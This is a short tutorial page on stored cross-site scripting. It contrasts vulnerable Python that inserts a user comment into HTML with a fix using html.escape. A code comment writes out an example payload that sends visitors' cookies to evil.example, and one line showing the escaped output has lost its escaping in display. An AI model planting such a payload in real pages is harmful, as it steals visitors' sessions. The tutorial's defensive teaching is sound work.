← Web Application Security tutorial
Web Application Security
Cross-Site Scripting (XSS)
Cross-site scripting happens when a web page takes input from one user (a comment, a username, a review) and displays it to other users without neutralizing it first. If that input contains HTML or JavaScript, the browser runs it as part of the page — not as the harmless text it was supposed to be.
A comment field is a typical target:
# Vulnerable — the comment is inserted straight into the page's HTML
page_html = f"<p>{comment}</p>"
# An attacker posts this as their "comment":
# <script>document.location='https://evil.example/steal?cookie='+document.cookie</script>
# Every visitor who views the page now runs that script in their own browser.
# Fixed — escape the special HTML characters before inserting user input
import html
page_html = f"<p>{html.escape(comment)}</p>"
# <script> becomes <script> — displayed as literal text, never executed
The vulnerable version lets the attacker's <script> tag execute in every other visitor's browser, often used to steal their session cookie. Escaping turns the dangerous characters into their literal text equivalents, so the browser displays them instead of running them.